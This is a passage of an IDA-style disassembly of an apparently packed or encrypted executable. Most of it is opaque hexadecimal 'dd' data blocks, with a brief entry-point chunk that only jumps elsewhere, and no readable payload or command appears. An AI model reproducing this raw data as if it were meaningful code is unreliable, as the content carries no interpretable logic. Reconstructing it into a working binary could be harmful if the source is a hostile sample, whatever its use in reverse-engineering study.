91D5BE2h, 2F19EA20h dd 1C7C0A29h, 3B82E380h, 24077A9Dh, 533AA693h, 0A0096183h dd 7CEA51E5h, 855403C3h, 247C1F73h, 7A2C8CDCh, 0FE624200h dd 0A6022EAFh, 0E610229Ah, 98EE401h, 0D02CBA3Ch, 3F84B07Ch dd 6EE0C040h, 3903EDF6h, 68298232h, 5A210BDBh, 0A402AE97h dd 502166B4h, 0D829C385h, 43E15107h, 9844238Ah, 68A0AACAh dd 0C1C9DC94h, 0D97FE500h, 0E8653C38h, 0EDE61DB6h, 5B02813Dh dd 309F82D4h, 1E14A110h, 234A9CEh, 430A3595h, 0B4F8E01Fh dd 0FE1C008Eh, 0CE22A1BBh, 29C51440h, 68E27029h, 0B03FB221h dd 7E3589D7h, 2133007Ch, 6456DBA3h, 7D078911h, 9F3974F4h dd 909C7302h, 7752A4h, 0D57CAC12h, 82B55BAEh, 84874C00h dd 16CFDDB9h, 71CA600Dh, 0CE105EBEh, 2E49F400h, 79C6C746h dd 0E0E70016h, 0A3BBE638h, 0AA626B4Bh, 664412E0h, 0CFCD00ACh dd 21FF5DE6h, 0AD007964h, 9CCAC725h, 1BCF93Bh, 397CD05Fh dd 3DC287FBh, 0AC281734h, 0AFAD1901h, 51FCF1CDh, 560C00F3h dd 9027E207h, 0E150105Fh, 3A039750h, 2FE4C396h, 5F09B04Dh dd 8C791F85h, 81B74B29h, 467B7383h, 0D4526FC2h, 9DB4143Eh dd 55857566h, 4AC4C897h, 0A462B823h, 6895940h, 1F7C807Ch dd 0C4046545h, 35501843h, 85E205EDh, 0C16D4B41h, 0FC70F4D0h dd 0E559BE1Ah, 3BE2830Ch, 0FF3A0A8h, 1A7F25AEh, 0C04A9C87h dd 517DA067h, 0B17A9AF0h, 0E59B30C7h, 0D1B6C822h, 222B09FCh dd 8800C864h, 9E57CE1Ch, 2E0A36E6h, 11D0A990h, 0DB4702BBh dd 4075D11Ch, 161743ECh, 90BFC296h, 814087F8h, 94A66500h dd 59FE326Eh, 6ADE213h, 0C8BBEC93h, 6800C1E6h, 6D87E2A6h dd 79D1ACA4h, 1F4E05FCh, 88913736h, 593F8FD8h, 8041BF16h dd 76AA7C24h, 2F326h, 3E09B3DFh, 8F3A7F5Ch, 0A048EA27h dd 0CB564228h, 22C8B833h, 0FCB0DB63h, 5A81ED02h, 62B3F57Ch dd 0F2841884h, 0DFA90924h, 4000390Ch, 186616FEh, 50980A90h dd 0AACE2A12h, 0FC0888D5h, 376B81E4h, 80F410F8h, 2C28B11h dd 0B194A586h, 5D0E0010h, 692BE127h, 71B41F00h, 0FF3A1BFAh dd 0EC53FA81h, 0F6520B3Dh, 0F8008E0Ch, 37DF79B0h, 2C6B292Fh dd 0A3F88F8h, 5F545728h, 73E902E8h, 9052C03Bh, 4102EE7Ch dd 0EA28B284h, 96885A4Eh, 7A4514h, 67B886C0h, 3395065h dd 0E0D614BBh, 1388008Ch, 3A3273E1h, 92F32794h, 0B8B5B8A0h dd 13094D9Ah, 87F75C6Bh, 1700D4D7h, 1F2E0745h, 0E657516Ch dd 0F4F16068h, 0F2000F53h, 2A68BA3h, 7D18E2Ch, 6CBA7B97h dd 1E77411Dh, 0B098209Ah, 0BE7E9688h, 928B4E14h, 15E09600h dd 3BE8830Bh, 82145777h, 22C813B8h, 58498BCh, 67295598h dd 8C9D6h, 78412224h, 1CA4CF00h, 69838D2h, 6D361F8Fh, 0D0C2123Eh dd 10AEBCCCh, 3A467607h, 7591DBB9h, 202AB833h, 0A525A834h dd 482B0439h, 1810003Dh, 1A97AA1Eh, 0F7DE00AEh, 3DF44C87h dd 90B038F3h, 14C75600h, 8AD7213Fh, 0C070B4C4h, 0E963659Ah dd 59F5C807h, 8F866E9Dh, 0F0210B7Ah, 10C44548h, 802CA73Dh dd 0D5366191h, 381CAFh, 9E532DF2h, 0E49967D7h, 0B8101826h dd 0AC0FE940h, 0B90C0016h, 6AF9DE1Dh, 0E500743Bh, 30028A35h dd 1667C6F3h, 161A8091h, 4BA888CDh, 3E967900h, 538A3918h dd 3344023Dh, 943F60A1h, 50F614E6h, 0B3B4F901h, 556DC086h dd 36EE00DFh, 5C7DC1A3h, 84A097E5h, 6F73FB52h, 4FB76B01h dd 28F996F5h, 0CF7C313Ah, 3AE84CB4h, 517F4D1Dh, 0EC280B1Ch dd 266AE444h, 4084F722h, 0F4CB658Dh, 0B41F47E2h, 7C6C9685h dd 0C853F700h, 7E039806h, 28FA2414h, 161A07A0h, 11FC027Dh dd 4F8AEC98h, 0D745CB1Ch, 33EBAh, 0BE474E9Ch, 286B37h dd 357A3E7Bh, 8C7CB68Eh, 99F53F00h, 74721C9Ah, 435096C1h dd 2DD9BDD8h, 0F46020C6h, 80A6C43Dh, 2577CEEh, 28A1680Ch dd 4CAD3D24h, 0CC80AC9Ch, 0C7CFCE66h, 14F178B8h, 89D528B0h dd 5A6C62C1h, 0CF942C20h, 2FD524A7h, 0FDF200F9h, 0C7433B99h dd 1B9A6801h, 813D7188h, 27D14891h, 88443Ah, 0D0B2A96Dh dd 79D51AB8h, 28133390h, 30169EBCh, 39F900EAh, 417CF9A9h dd 14F8B226h, 0ADEEB05h, 0FB04B81Dh, 74C89134h, 0A61400BFh dd 0E2AAA9A2h, 0E34C94BBh, 63A882F8h, 74BC781Ah, 983B628Eh dd 0CF23E06Dh, 5F4FA4B6h, 3F47AFE3h, 0C2B8C2DFh, 7491D4ABh dd 0E962F82Ch, 880EACFAh, 0A3A80BA6h, 996B49F5h, 84709D6Dh dd 50CF00E9h, 0DC161742h, 6E4AC40Fh, 38067080h, 5F48901Dh dd 8E6407FCh, 6311C062h, 0B03DE59Ch, 0FA52035Ch, 803D0ACBh dd 1F80944h, 99BE3B98h, 606B3829h, 0FC28A0B8h, 0EF3F8CC4h dd 0BCC326E2h, 1E7A9A40h, 0A9123F0Dh, 17F4C80h, 8CF33A36h dd 0C8666CC0h, 9EFC67h, 191F3B18h, 17588132h, 9C01632Ch dd 0C1D23D1Eh, 0FEB22090h, 0D0A103D9h, 2C34D488h, 649BB803h dd 0F05FEAF8h, 90D2103Fh, 0F41D0FC1h, 4D8B87AEh, 0A77024E4h dd 3B7EDCA0h, 0E0440509h, 1F0D1FBh, 5042DB87h, 0C303A2Dh dd 493C305Ch, 0B4AACE1h, 5C00EF50h, 0A26866BEh, 0A0EAEB2Dh dd 0FDCB48FCh, 0C27900BFh, 1B58E533h, 862EBA4Ah, 5D00043Dh dd 8ED6B41Dh, 0B1FB248Bh, 0AFF80034h, 8AB77281h, 0AC30F17h dd 81094C82h, 0FE7CC2B0h, 0A980883Ch, 1ECEF697h, 0D8000670h dd 33EA9B22h, 511716E6h, 0DC6083ABh, 564C0041h, 1EE45ABDh dd 60279ACh, 0F997DC99h, 1D8C623h, 0B88189B5h, 6230BBF5h dd 0C2980A60h, 0FB808CBDh, 78035FD4h, 450404B6h, 0C03CC7E5h dd 4C8218DFh, 87C38812h, 82813809h, 40BA1475h, 1DAE0959h dd 0A86EBD1Ch, 522945C4h, 5A20DB7Ch, 0B6FB2FF2h, 0E2804E60h dd 8BFD0FB4h, 44071F72h, 36C04975h, 0BE352A40h, 61EA1980h dd 28643122h, 726B80E0h, 3ACAB1Eh, 7FC1968Fh, 0AF80459Ah dd 71257DF8h, 1D5040A0h, 209085Fh, 0F080F40Dh, 3ECF9D5Dh dd 6C90976Eh, 6000B74h, 4DFEFF7Ch, 7A121370h, 95291317h dd 46ACB494h, 87E18900h, 4C9AF815h, 5B5FCA7h, 306F1731h dd 0ABE40EA0h, 1844350Bh, 7D29CB00h, 0E7732D9Fh, 22189890h dd 6500E1CAh, 0A0D51CA7h, 4A296B30h, 7A48861h, 4C4EE7E0h dd 0EC882052h, 0DCF200AEh, 0E5A4BADDh, 9B381E8Ch, 67A782B2h dd 56F78F88h, 6CE6802Ch, 9CFA859Fh, 0C21C9307h, 5514FCCAh dd 1AAB4CCh, 0E2CBDC22h, 0F9B81B2Fh, 680EF8F7h, 888C9E00h dd 0B93EAB43h, 868B0948h, 284A3BC8h, 0BE1F0854h, 8C7A68EAh dd 15D7A017h, 194AC88h, 412FB21h, 7C8262BBh, 7E108074h dd 0F22CA013h, 7A349A20h, 5FE70067h, 0A602847Fh, 10953505h dd 3CFD658h, 26322DDFh, 9A0ECF4h, 3958AABEh, 2164C3D8h dd 40D397ABh dd 0B80393D9h, 3F54C05h, 0C6129AC0h, 79904759h, 0CB4C3A0h dd 7C98C480h, 0EE9A755Dh, 95147546h, 0A706810h, 0A147D900h dd 0DCFAB4EEh, 73530E55h, 1209682Eh, 9B0E8D82h, 92CE21C0h dd 98D55225h, 0BC906380h, 12D440A4h, 46149271h, 0BE3DC7Ch dd 606189D8h, 223DE64h, 26BC4F44h, 5436C3h, 0B59A9040h dd 86C00D2h, 1E4ADBAEh, 902C6A2h, 0FC59EF99h, 0F8C662h dd 9370DCDDh, 0FE9A320Fh, 0FDC57F1Eh, 0BC6058Eh, 41EF0504h dd 4C7D1C80h, 0EBAAA0D9h, 7B9C0972h, 9C713DC8h, 27B65CAFh dd 12A31410h, 0DCC86400h, 5BC9F6Eh, 54F75001h, 1B1000A1h dd 267B4573h, 8100E45Ch, 580FCCD6h, 2CA70A2Eh, 40A89205h dd 0ADFD0C19h, 1309A658h, 38071A81h, 826EC3F2h, 646D14F0h dd 0A93A16D4h, 3F4C00D6h, 3DCEFFD1h, 81AC78F9h, 6914E5A6h dd 86143C33h, 0E1C0E44Bh, 0E780CB71h, 0B9085E0Fh, 9BB3006Ah dd 24428877h, 8C42C3Ch, 0C192CA6Dh, 0CD1EFCD0h, 0D9E5032Bh dd 98B1A5DCh, 43CE35E0h, 8D17BC90h, 1EBC9h, 3B06F713h dd 138CB8D0h, 8894BE0Ah, 68307268h, 51EBE043h, 58BB7865h dd 0E6013481h, 0B2A76EE9h, 30206AD6h, 936714h, 9970B366h dd 3BD5CE0Ah, 8F749F3Dh, 0A08E58ADh, 605C820Eh, 0C2952DD8h dd 4881C820h, 1000252h, 70737D4Fh, 1C6D6641h, 0CE46320Bh dd 7E40740Eh, 95C517B4h, 3A75AF00h, 0D40884DAh, 16DDF840h dd 7810238h, 3B7977B0h, 0E75B1C10h, 0B240650Fh, 8A3200AEh dd 5C398498h, 71009F50h, 396E815h, 234B4468h, 2EA190D0h dd 0F450A0C0h, 5D3700ABh, 29BCD9A7h, 47033CA2h, 3335E286h dd 0A8A39BC2h, 7589253h, 508C26A1h, 54206282h, 20E41061h dd 0D801A34Ch, 0A9436646h, 316B8B7Dh, 7027ACB8h, 894BD504h dd 0C812D8C0h, 8765808h, 31ECFCC0h, 6E039E1Bh, 4F419A02h dd 0B2CED108h, 3B82D428h, 90E23374h, 623D54C6h, 0F72601B8h dd 6966DE5Bh, 8E00DC73h, 0A680069Fh, 0C0635CBh, 0A9BB598Dh dd 9EB01E51h, 1A08012h, 9587B29Dh, 4E834499h, 0A8D4224Fh dd 249AB332h, 89884961h, 0C0849718h, 6450491Fh, 83AC0084h dd 0E4CE2DC3h, 7700BC86h, 640317DEh, 0CA0D69Eh, 9D4BC691h dd 5A8AB040h, 0AAFAB0h, 68EDB241h, 71ECE7A7h, 0B0902D28h dd 0DA67B71Ch, 0D98E9A89h, 2640068h, 0AF7DB3D3h, 0D306371h dd 0AB9E89E1h, 515817E7h, 40F100BEh, 71C67442h, 0F4280900h dd 75D5A93Dh, 1FC8A0B6h, 8C494CAEh, 87592CC7h, 2DD0F0B8h dd 0C60058FEh, 4C878EADh, 288C3E9h, 44AEB5Ah, 9C7CBB4Bh dd 18CA3740h, 71420323h, 7B073F82h, 85875FC9h, 0A3679AD8h dd 9165CD80h, 22F81214h, 32F40C12h, 0C8E60E52h, 0D07E4B24h dd 16954C0Ch, 89C91EE8h, 62294BE3h, 0B2099C68h, 10A0FA27h dd 35D06E0h, 0AD424BAFh, 0E99888AEh, 647A9499h, 0C485DE4Ah dd 191DF080h, 131E0082h, 87F5B685h, 48987D04h, 61D0EA03h dd 0B794F02h, 68D30810h, 7C8F2000h, 330B38FBh, 1EAA034h dd 2FB4FFE4h, 0AE85A280h, 7C79FEF5h, 0A2B738C3h, 7D4000F2h dd 8655C4B2h, 5676BA27h, 0F45BD900h, 9F65E5E0h, 8A284015h dd 9D70F572h, 60509930h, 86548Fh, 0CCE3B0FDh, 0B85B24EFh dd 0D5631D07h, 0C890F046h, 6772CE7h, 587CB9CFh, 0E1017070h dd 0F592B5C9h, 918478FBh, 0E2834Fh, 60F77B2Ah, 3FA7F44h dd 0CAEDD1FDh, 21098050h, 80ABD0D4h, 6C2BB7D5h, 94470249h dd 0FBF32CF1h, 9DD59498h, 3091BE38h, 0E762E9DBh, 4490192Fh dd 10D91802h, 0C0DEF0F4h, 671AE839h, 13009B62h, 753F1F3h dd 0C709E32Ah, 81D2AF21h, 3A4E390Dh, 600320E0h, 0FB7B49DEh dd 45180465h, 0FFD98ED8h, 72D50129h, 0A679FC3Bh, 0EB70CC5Fh dd 1B1E7700h, 8A9EC8ADh, 0F99118A8h, 305849DFh, 93C4AC02h dd 0F768905h, 5398FA80h, 2F7C47CDh, 8091866Fh, 0EDCC6295h dd 0AA004FDh, 455B7CB7h, 0F187B6E1h, 7B5D05C1h, 77173187h dd 0ABCC0029h, 0FA0003F8h, 30163A9Fh, 0A1155A27h, 0FBD9D3h dd 0E3C78561h, 0DA3DFFAh, 98223207h, 34D0C52Fh, 70C88AF3h dd 53D73A1Dh, 7903F918h, 0C000AB55h, 2A91FB41h, 2B2C38h dd 30A9EDE4h, 3F0F31Dh, 851561C0h, 4418D8h, 0EAACAEFCh dd 0E92FBAD2h, 0B334CF0Eh, 2C402E8h, 0B978886Fh, 73DC8901h dd 0E09C483Fh, 0EA9CB5h, 0FD69868Ah, 7C0952A2h, 10D81FCAh dd 0BCDB30h, 1AFEAD7Bh, 89D10181h, 0A18DBB1Ch, 871EF500h dd 67141C2h, 0E3291220h, 0CC017106h, 95CFE465h, 10F4FD66h dd 79FB30ADh, 0DA9F8AE9h, 0CBFFEC00h, 93922F7Eh, 20B14C7Ah dd 0ED633700h, 2861169Ah, 811C683Eh, 0C3FD58F9h, 1FC9E642h dd 2076CC42h, 77937A27h, 920043F0h, 70EEA50Fh, 24098D87h dd 1248534Dh, 50542785h, 0EFD87FBBh, 6F0011D6h, 707B1978h dd 6E4F0117h, 8751C303h, 5E8CFBBh, 0EE01486Dh, 5B22F3A7h dd 79806C50h, 0C63995D0h, 32009284h, 0AD4D56DBh, 9E0C7C2h dd 747CBF79h, 50B32810h, 37396D60h, 5A9127h, 62452638h dd 5CC53C48h, 3F68401h, 5FB8917h, 0B8312A10h, 5EF95600h dd 0EA6B8424h, 0A85C0A42h, 1D8C1DE8h, 0D801063Fh, 1F03D1F2h dd 261C18D1h, 0C0499B0Eh, 28DBA5AFh, 4942E17h, 0E32856AAh dd 0F4B4888Dh, 2CCAE200h, 97C7EC52h, 0DB26000Eh, 77EE1535h dd 4403E13Eh, 597CA98Bh, 3899446Eh, 1D0F005Eh, 0D42F92BBh dd 23EE1FC7h, 0EFD92601h, 0B1AC258h, 7F7A89C0h, 0C8E7E612h dd 2807E48h, 2B63B819h, 18391386h, 0E9D401B3h, 10F6914Eh dd 30058E7Dh, 17117888h, 0A7186266h, 0F621F3A2h, 0B8160086h dd 4263D151h, 0A97E9399h, 0F9F70D0Eh, 0B0687914h, 477E6F8h dd 88B46E3Fh, 0C7F087A4h, 69FBF0B7h, 5F068731h, 48ACFC91h dd 3F4C00A8h, 0A102AD70h, 81C37750h, 0F8F6DA36h, 0EAEA2C6h dd 89012FA0h, 5A83BF03h, 99D84031h, 0D822FEF4h, 0E82AFF00h dd 42CFCCCDh, 31272C07h, 9F21C761h, 6431692Fh, 0C5408826h dd 54E34825h, 0D8E40F80h, 837064AAh, 0A2DD670Ch, 9531CFh dd 0BDA02005h, 58764FF0h, 3091CA3Dh, 50A521E2h, 0F34E0C17h dd 91510AFFh, 69B00152h, 651498E0h, 3A053CD1h, 3DA36607h dd 420990ACh, 3059AD4h, 0A9291DCBh, 11D28830h, 9BB203F3h dd 0C7919A2Bh, 0AE1AB5F8h, 0F402FB2Ah, 0D54F0A00h, 1358774Ah dd 0D448003Dh, 6CF156Dh, 0AD0C8A7Ch, 91F1A2E8h, 0B39800EFh dd 9CC9C8BBh, 702E2327h, 8000B745h, 0CC175EA7h, 5AD40036h dd 2585C7Ah, 18983FB6h, 0B40CC000h, 2373E668h, 418E1D03h dd 4038A47Fh, 0FBCB6BF1h, 8C110760h, 0BE3F6F5h, 43142574h dd 0B4FD2280h, 1FE1870h, 792B0512h, 0D8493C31h, 0B053B3C0h dd 32F20494h, 0C9587F42h, 2C23E0h, 2090816Bh, 0C9452D3h dd 0DCA55A6Ah, 4A071BE1h, 2FD104ADh, 616BF6h, 7FD806B0h dd 75A588D4h, 0C8009D77h, 0E0D1B45Ch, 3851B0Dh, 36A38749h dd 83CC4303h, 0F8B1C1B9h, 4B9EF05Bh, 0ED902DE2h, 1C20F90Eh dd 0FD4EE060h, 5FCD3B7h, 855B1803h, 0B1F786BEh, 0A1C24700h dd 442016E7h, 0DD5063Ah, 0E0FF0B4Ch, 0B98D3200h, 0E8685033h dd 0C164047Ch, 8DDBFDACh, 0E721D270h, 30E9BFD2h, 0E9FAC07Eh dd 3F01B7FAh, 897C91A2h, 40304422h, 2CC507E3h, 80B4875Ah dd 0B703B6D9h, 0B485052Ch, 7C2B684Ch, 0A1C70542h, 822835B9h dd 7C2166DCh, 7996615Fh dd 0E3820D9h, 9B0379EEh, 63941BF8h, 5838D664h, 7A223C19h dd 0BD9B5Ch, 4C37C36Dh, 3175A148h, 0B828447Fh, 87D8702Dh dd 74D82B13h, 0E0DF904Eh, 0DEC1339Eh, 543B00E0h, 2A8FF9D3h dd 9D017449h, 0D9467F79h, 0A022844Fh, 0F8471500h, 3AABDB37h dd 1B673503h, 27DB638h, 0E3F9068h, 88C6B585h, 6B18E500h dd 41051298h, 0A28F00B6h, 0E7C5F9FAh, 6FF6141Dh, 0F5807555h dd 0FA00D2EEh, 79EDB80h, 462416AAh, 0E0AEA7BEh, 0F24F9B72h dd 4000C8E6h, 356E6462h, 0F9C9EAA3h, 7900DC22h, 0BE024DD4h dd 0E8041AD5h, 0CACF6117h, 89268C0h, 52E300EAh, 86E0B288h dd 2304D420h, 0F84CCAF6h, 0E77888h, 5D3D9599h, 5E2F144Fh dd 742D5B00h, 3CCDBAAEh, 0FAEA07A8h, 0C42B7EB0h, 3298C02Fh dd 0B828C828h, 8452BC95h, 0A42417FCh, 0D8F8E804h, 0AC82014Bh dd 18419588h, 0E790D48Ah, 612CD500h, 0A02A3448h, 423301B8h dd 0FBB913A9h, 94998106h, 0CAE3EF87h, 1C484920h, 2C3CA69Ah dd 95C43C24h, 0C7800C91h, 4FBCC611h, 0A0A99063h, 7264C404h dd 807F5CBAh, 0F082547Dh, 0A27703F3h, 0DA497085h, 814067E9h dd 377693E9h, 0C3CA42C8h, 0E566B89Fh, 0D15D697Ch, 0C9117885h dd 0CBB8005Ch, 6206915Bh, 0DDA559C0h, 0CC8A0F29h, 2D6FD2FDh dd 53A41C20h, 6200EF14h, 0CD6C1A38h, 28A85BDh, 1D39F902h dd 5844E330h, 4A9C0E00h, 0CFE7EEB1h, 0B3AF004Ch, 88C176D7h dd 9100D83Fh, 0A2732B8Fh, 2C656717h, 4FA4A58Ah, 2E2A4F80h dd 0F007864h, 0C84D16CBh, 1392803Eh, 303D21F0h, 755F6C70h dd 0E2DC2000h, 7C2709C9h, 0E987E576h, 11F12492h, 2DA2B857h dd 83CA0018h, 0A6F35666h, 5B6D0742h, 42CAE34h, 67E488D8h dd 0C5D37003h, 0AF2A6C12h, 927B7480h, 420A2410h, 0A9960504h dd 0C1D09393h, 6EC0FAA3h, 3509CA06h, 2CBE85Bh, 0AB7A83A3h dd 0B39008B4h, 211693Dh, 0C14E8A5Ch, 4CFCDB18h, 0B9F160F3h dd 0E7A5BA71h, 0B43429C0h, 7D0509A4h, 0F0954BB3h, 452C8225h dd 7A40ECD8h, 5D5DE1Ah, 0A84635B1h, 0E8A4884Fh, 5F92B900h dd 2CEB5C0Dh, 787C1CFFh, 6177D924h, 8CDC30E1h, 52297E0Ch dd 13B13985h, 0A7953Fh, 0A5D5AC1Eh, 9AFE3359h, 7C2633Ah dd 0EA136CAFh, 3EF0B200h, 5818BAD8h, 5A397816h, 70DB909Fh dd 637C8CA1h, 24BC103Dh, 9C1EF3D9h, 38689542h, 4064F9h dd 0A9069E93h, 0E2C2F033h, 1047D84Ah, 0AD41DA44h, 0D0F8A716h dd 5BC3005Dh, 95223CD9h, 4E002BE5h, 0D350867Ch, 706863A5h dd 0A2D4A007h, 0EA3824BCh, 43DA0174h, 8078FB80h, 22963571h dd 140AB94h, 856F50E9h, 0D6027F92h, 0A2586872h, 36318098h dd 2B8653F1h, 12A0E818h, 0E7C88850h, 0C7C45A00h, 2E8213B8h dd 238400C3h, 27FB70E2h, 0F444A560h, 87A7001Ah, 5141BDC7h dd 2402DBDFh, 32F1C26Fh, 332C40B5h, 6BCC00B4h, 2B8057AEh dd 649C05E3h, 68D73680h, 0C15FB24h, 89504A5Dh, 512C9FF0h dd 5560E83Fh, 3AC7D59Bh, 1500F48Ah, 85CBAF0Fh, 0C055206h dd 147D01D4h, 59FE402h, 0B8A987h, 6EF92984h, 20A24E03h dd 8F51E888h, 0AB72F001h, 34C1051Bh, 28D0020h, 0E19C0D61h dd 18514344h, 22E9E400h, 0EE6C865h, 2DD57998h, 0CA67F001h dd 1D60847Ch, 0E4A4E342h, 0EE930775h, 0C78AD5B5h, 0FF0DE006h dd 0B90AE745h, 0E4182062h, 0C6EBC300h, 143D2465h, 50D93E5Ah dd 0FAF2100h, 7474CDBh, 2ED2301h, 0EC1825A1h, 7A51C4h dd 0B53959BAh, 523E99FDh, 9FF17F67h, 2A0C28E0h, 77AF3A72h dd 236A7609h, 91D62680h, 704F05FEh, 717A384Ch, 0BFA8964Fh dd 3AE05500h, 388994CFh, 74117700h, 0F82746F1h, 0F9071185h dd 546A0079h, 24AD998Dh, 0F018004Dh, 92F59A51h, 0BF01CE59h dd 0F326C9CBh, 0E81109FAh, 853C302Ah, 503AB09h, 0CF08485Dh dd 907504ACh, 0F283F333h, 0C047CA0h, 0E2854F59h, 871B5100h dd 0EC03E47Eh, 0FAC48ECEh, 1491006Dh, 29D75672h, 0D500E9CAh dd 12BCD218h, 1A1A32Ch, 5DC20A31h, 10F0D8F5h, 4C5270Ch dd 43224A94h, 735881F8h, 2518A6Ch, 0A247AC83h, 497822F9h dd 0EDDF80ABh, 0FE56C732h, 0BF850C5Bh, 0AE3960FBh, 72006A71h dd 41634AB5h, 2A6ACBCh, 3EE2F9EAh, 0E8E83B42h, 17031A7Bh dd 5AC3277h, 0F961283Dh, 6A550024h, 1C906449h, 0EC008C72h dd 3C2CDC6h, 5C71BDFBh, 8DC1949Eh, 0E8208058h, 3D139824h dd 1020F933h, 27050D8h, 616F8A7Ch, 0C0C684DFh, 150A1300h dd 393DB198h, 0F1270031h, 3ACA4D86h, 0F016B688h, 0C800125Fh dd 1C36DA97h, 873E0777h, 0C35052B2h, 80877CD0h, 72942E9Eh dd 0C004845Ch, 0EB30773Dh, 0B73F00EAh, 0A785AA32h, 9118B62Bh dd 7BF1E003h, 95400AF9h, 40CCE302h, 8C3A3B82h, 35F7B200h dd 9EFDE74Dh, 0CCAC0D31h, 0D890A3B5h, 2F046C9Bh, 688A0588h dd 284A68A2h, 3B002D20h, 89702B5Dh, 0E8EAF8Bh, 8AC17716h dd 0BCAEA320h, 5FC7A24h, 508D4807h, 2D5017E7h, 58597F4Eh dd 0C2C1307Ch, 4BCC40D2h, 0EDFFFF01h, 80h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53E5CE: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_541917 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 0FC000000h, 8001FCh, 8 dup(0) dd 0FF000000h, 9CFFFFFFh, 0 dd 23000000h, 0F1005700h, 7244F4h, 3 dup(0) dd 0E9000000h, 77EBA6h, 1Bh dup(0) dd 11000000h, 5AAB47h, 7 dup(0) dd 0E8000000h, 77E82Fh, 8 dup(0) dd 60000000h, 84001241h, 1F3AD9h, 52000000h, 60005A77h dd 5D0AFBh, 3 dup(0) dd 18000000h, 77E806h, 4 dup(0) dd 0CD000000h, 77E776h, 2 dup(0) dd 12000000h, 0FFA7F8h, 5B000000h, 59230CD9h, 554528h dd 4 dup(0) dd 1E000000h, 0BC00A139h, 0FFFF91h, 2Ch dup(0) dd 79000000h, 5780h, 2 dup(0) dd 57000000h, 0FFA7E9h, 3 dup(0) dd 6Fh, 5 dup(0) dd 16000000h, 0A273h, 0 dd 0A8000000h, 5834h, 5 dup(0) dd 4000000h, 0C309B9h, 8 dup(0) dd 87000000h, 5657A7F5h, 0A0FAh, 6A000000h, 0F077D4C9h dd 12FEh, 0 dd 0CA000000h, 0AEB1h, 5 dup(0) dd 91000000h, 436110h, 3 dup(0) dd 0F0000000h, 0CA77DD59h, 8691C3h, 3F000000h, 4005418h dd 7FFE03h, 2 dup(0) dd 4000000h, 0AA7FFE03h, 5B66h, 0FE000000h, 5F727Ch, 49000000h dd 13A8B9h, 0 dd 27000000h, 7900540Ch, 8F1A6BEFh, 0DC005B19h, 0CCD4B6h dd 7 dup(0) dd 0D9000000h, 488F7EFh, 0B4000000h, 579Ah, 0 dd 8D000000h, 0C13C8Dh, 2D000000h, 0E0B0Eh, 92000000h dd 0A022h, 6 dup(0) dd 2C000000h, 840057F8h, 2 dup(0) dd 8D000000h, 0FFFF8Dh, 0 dd 44000000h, 3686C3h, 0F000000h, 0A0A0h, 4 dup(0) dd 0EA000000h, 8A11Bh, 0 dd 4D000000h, 0C54D6Dh, 3 dup(0) dd 1F000000h, 577Dh, 0 dd 3B000000h, 3B88C1h, 2 dup(0) dd 0A000000h, 0A08Ch, 0 dd 9B3AA9h, 4 dup(0) dd 27000000h, 4FFFFC8h, 7FFE03h, 0 dd 90000000h, 0 dd 0AC000000h, 0A29Bh, 3 dup(0) dd 0FC000000h, 5A1Bh, 3E000000h, 981EDBh, 8 dup(0) dd 99000000h, 0A094h, 0Bh dup(0) dd 0F5000000h, 0FFEFEDh, 0Bh dup(0) dd 4C000000h, 977D80h, 5 dup(0) dd 0F2000000h, 5BCFh, 3 dup(0) dd 57000000h, 77E7C6h, 0 dd 68000000h, 0A115h, 2 dup(0) dd 0BC77D400h, 0FE9E99h, 3 dup(0) dd 74000000h, 865559h, 8 dup(0) dd 57000000h, 840059C4h, 9EAB01h, 4 dup(0) dd 2E000000h, 0A05Eh, 0 dd 0FC000000h, 11D15Fh, 4 dup(0) dd 0B1000000h, 6Fh, 2 dup(0) dd 0F0000000h, 7F3h, 0 dd 24900h, 10000000h, 25109h, 49000000h, 23001900h, 5B74h dd 0 dd 24000000h, 0D5B47Bh, 4 dup(0) dd 1000000h, 3 dup(0) dd 5C000000h, 0FFED00h, 4 dup(0) dd 0FF000000h, 0FFFFFFh, 87000000h, 0FFA87Fh, 2 dup(0) dd 0CC000000h, 77DD5Eh, 5700h, 2 dup(0) dd 68000000h, 77E821h, 3 dup(0) dd 74000000h, 0 dd 87000000h, 0FFA78Dh, 0 dd 1000000h, 2 dup(0) dd 47000000h, 53F0h, 28h dup(0) dd 96000000h, 0D5E2FEh, 2 dup(0) dd 68000000h, 23Eh, 4DE0h, 18h dup(0) dd 6C000000h, 0FFFFA2h, 4 dup(0) dd 4000000h, 0Fh, 1000000h, 900BDEh, 2A000000h, 0F2F71E36h dd 0E6F2FF45h, 8D009F0Fh, 8Dh, 9 dup(0) dd 50000000h, 0F03C5Fh, 0Eh dup(0) dd 0A4000000h, 9D000010h, 1FF014h, 64h dup(0) dd 54000000h, 77F512h, 0Bh dup(0) dd 0A0000000h, 2 dup(0) dd 0FE000000h, 685F727Ch, 0B400A132h, 3F00579Ah, 0FFA7F2h dd 3 dup(0) dd 0BA000000h, 58A7h, 9 dup(0) dd 4000000h, 3, 27000000h, 0A7AD7C30h, 57B0h, 2C000000h dd 600005Ch, 77E6D7h, 0 dd 68000000h, 0C4FFFFA2h, 0A070h, 0 dd 68000000h, 0F0809F18h, 12FFh, 20000000h, 1069h, 5 dup(0) dd 0F0000000h, 7F000000h, 5FD93Dh, 8 dup(0) dd 10000000h, 25109h, 0 dd 53009F00h, 0A48Dh, 60000000h, 5725h, 4 dup(0) dd 4000000h, 7FFE03h, 3 dup(0) dd 0FC000000h, 58001FCh, 0A2801h, 0FF000000h, 0C5A5Ch dd 13h dup(0) dd 0F000000h, 0A0A0h, 0 dd 0FF000000h, 805BFFh, 0 dd 54000000h, 12FFh, 4000000h, 7FFE03h, 9 dup(0) dd 0E9000000h, 400h, 2 dup(0) dd 78000000h, 19000000h, 0B08A410Fh, 70005725h, 0FFFFA2h dd 4000000h, 7FFE03h, 8 dup(0) dd 0DE000000h, 0A02Bh, 3 dup(0) dd 66025A00h, 7200541Eh, 706A8h, 2 dup(0) dd 8D000000h, 5732h, 2 dup(0) dd 0DD000000h, 0A069h, 80000000h, 0D3B8h, 2 dup(0) dd 51000000h, 18A20Ch, 0E2000000h, 0B30000B5h, 77F7EBh dd 5 dup(0) dd 9D000000h, 1BDBE0h, 0 dd 3B000000h, 5700A03Eh, 0E3715Bh, 0 dd 94000000h, 2 dup(0) dd 94000000h, 4900568Dh, 13A8B9h, 38000000h, 381F7730h dd 44DC38h, 3 dup(0) dd 0AC000000h, 0 dd 24000000h, 